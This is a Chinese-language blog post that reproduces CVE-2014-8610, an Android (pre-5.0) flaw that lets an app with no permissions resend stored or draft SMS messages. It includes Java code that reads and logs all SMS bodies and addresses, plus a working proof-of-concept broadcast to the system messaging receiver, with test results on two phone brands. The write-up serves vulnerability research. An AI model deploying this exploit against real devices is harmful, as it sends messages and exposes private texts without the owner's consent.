Android短信越权重发漏洞测试分析

CVE-2014-8610 (此编号暂被保留)

0x1 漏洞信息

漏洞危害
无须用户交互,重发短信信箱内的任意一条或多条短信。进一步的,恶意应用可以创建一个草稿短信,然后通过这个漏洞,在无短信发送权限的情况下,将短信发送出去。

影响版本
Android 5.0以下

POC

http://xteam.baidu.com/?p=164

0x2 测试之前

对这个漏洞进行了重现测试,以下为测试的细节和相关信息的记录。
(有关漏洞具体测试的内容,请直接跳至最后一小节)

短信相关权限

[xml]
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
[/xml]

Content Provider

安卓中数据访问、交互的一种接口。一个Content Provider提供给app的数据类似与关系型数据库中的一个或多个表。使用Content Uri来指明数据,用它来关联数据中相应的表名。当使用Content Provider操作一些数据时,也需要在manifest中申请相应的权限。

短信相关的一些URI:

content://sms/inbox        	收件箱 
content://sms/sent        	已发送 
content://sms/draft        	草稿 
content://sms/outbox            发件箱 
content://sms/failed        	发送失败 
content://sms/queued       	待发送列表

许多URI允许在其后附加上一个id值,来检索数据库中_ID字段为相应值的记录。
如:
[java]
Uri singleUri = ContentUris.withAppendedId(UserDictionary.Words.CONTENT_URI,4);
//或
Uri i = Uri.parse("content://sms/draft/2"); //表示_ID为2的短信。
[/java]

Reference:
https://developer.android.com/guide/topics/providers/content-provider-basics.htm

读取短信记录

1. 需要在manifest中声明权限。

2. App代码如下:
[java]
Uri uriSms = Uri.parse("content://sms/");
Cursor c = getContentResolver().query(uriSms, null, null, null, null);
int count = c.getCount();
Log.d("SMS Count", Integer.toString(count));

while (c.moveToNext())
{
String address = c.getString(c.getColumnIndex("address"));
address = address==null?"":address;

Log.d("SMS—-", "——————–");
String id = c.getString(c.getColumnIndex("_id"));
Log.d("SMS id", id);
Log.d("SMS address", address);
Log.d("SMS content", c.getString(c.getColumnIndex("body")));
Log.d("SMS—-", "——————–");
}
[/java]
kingx blog

枚举SMS表中的列名:

[java]
Uri uriSms = Uri.parse("content://sms/draft/");
Cursor c = getContentResolver().query(uriSms, null, null, null, null);
int count = c.getCount();
Log.d("SMS Count", Integer.toString(count));
String[] names = c.getColumnNames();

for (String name : names) {
Log.d("", name);
}
[/java]

列名有:
kingx blog

数据库中SMS相关的字段如下:

_id 从1开始
thread_id 序号,同一发信人的id相同
address 收件人手机号码
person 联系人列表里的序号,陌生人为null
date 发件日期
protocol 协议,分为: 0 SMS_RPOTO, 1 MMS_PROTO
read 是否阅读 0未读, 1已读
status 状态 -1接收,0 complete, 64 pending, 128 failed
type
ALL = 0;
INBOX = 1;
SENT = 2;
DRAFT = 3;
OUTBOX = 4;
FAILED = 5;
QUEUED = 6;
body 短信内容
service_center 短信服务中心号码编号
subject 短信的主题
reply_path_present TP-Reply-Path
locked

0x3 漏洞测试: 越权重发指定的草稿箱短信

事先存储了一条草稿箱短信,内容为”p”。
通过打印出的短信记录可以看到,草稿箱中的短信id为2,于是我们构造POC如下,manifest中并不需要声明任何权限:
注意:每个信箱(如:草稿箱)中的短信并不都是从1开始的,而是要根据该条短信在短信表的id号来指定某条短信
[java]
Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT");
Uri i = Uri.parse("content://sms/draft/2");
Log.d("uri",i.toString());
intent.setData(i);
intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver"); sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null);

[/java]

由于控制了resultcode为SmsManager.RESULT_ERROR_RADIO_OFF,运行界面如下,错误提示过后,指定的短信也被移至带发送队列:
kingx blog
kingx blog
可以看到,短信已经成功移至发送队列中,但是由于Meizu系统在发送失败后,并不会自动重发。
使用华为手机,测试如下,成功自动重发所有短信:

kingx blog

Join the Conversation

1 Comment

  1. 但是如果处于自动重发状态的话 , 短信还是发不出去的啊?就一直处于这个正在发送的状态吗?

Leave a comment

Your email address will not be published. Required fields are marked *